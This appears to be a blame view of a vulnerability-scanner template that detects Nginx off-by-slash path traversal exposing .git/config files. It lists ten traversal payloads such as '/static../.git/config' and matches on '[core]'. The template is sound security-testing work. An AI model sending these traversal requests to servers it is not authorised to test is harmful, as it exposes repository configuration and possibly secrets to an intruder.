2020-07-02 13:53:41 +00:00
|
|
|
id: git-config-nginxoffbyslash
|
2022-04-22 10:38:41 +00:00
|
|
|
|
2020-07-02 13:53:41 +00:00
|
|
|
info:
|
2022-07-27 20:17:31 +00:00
|
|
|
name: Nginx - Git Configuration Exposure
|
2020-07-02 13:53:41 +00:00
|
|
|
author: organiccrap
|
|
|
|
severity: medium
|
2022-07-27 20:17:31 +00:00
|
|
|
description: Nginx is vulnerable to git configuration exposure.
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2022-07-27 20:17:31 +00:00
|
|
|
- https://beaglesecurity.com/blog/vulnerability/nginx-off-by-slash-exposes-git-config.html
|
2021-05-10 06:47:28 +00:00
|
|
|
- https://twitter.com/Random_Robbie/status/1262676628167110656
|
|
|
|
- https://github.com/PortSwigger/nginx-alias-traversal/blob/master/off-by-slash.py
|
2022-07-27 20:17:31 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
|
|
|
cvss-score: 5.3
|
|
|
|
cwe-id: CWE-200
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 10
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: config,exposure,nginx
|
2020-09-20 12:57:43 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2020-07-02 13:53:41 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
2024-04-12 10:31:51 +00:00
|
|
|
- "{{BaseURL}}{{paths}}"
|
|
|
|
payloads:
|
|
|
|
paths:
|
|
|
|
- '/static../.git/config'
|
|
|
|
- '/js../.git/config'
|
|
|
|
- '/images../.git/config'
|
|
|
|
- '/img../.git/config'
|
|
|
|
- '/css../.git/config'
|
|
|
|
- '/assets../.git/config'
|
|
|
|
- '/content../.git/config'
|
|
|
|
- '/events../.git/config'
|
|
|
|
- '/media../.git/config'
|
|
|
|
- '/lib../.git/config'
|
2021-09-02 11:59:10 +00:00
|
|
|
|
|
|
|
stop-at-first-match: true
|
2020-07-02 13:53:41 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- '[core]'
|
2024-04-12 10:58:47 +00:00
|
|
|
# digest: 490a004630440220428f7cb6e63a587930ea6412a94e5d322bbcbf4fc3a7f451c42dca4e455b0b88022067e5bcc7186dcdb733480c25d911a719caa8535f0232ad7c57a00b82c0fb81b6:922c64590222798bb761d5b6d8e72950
|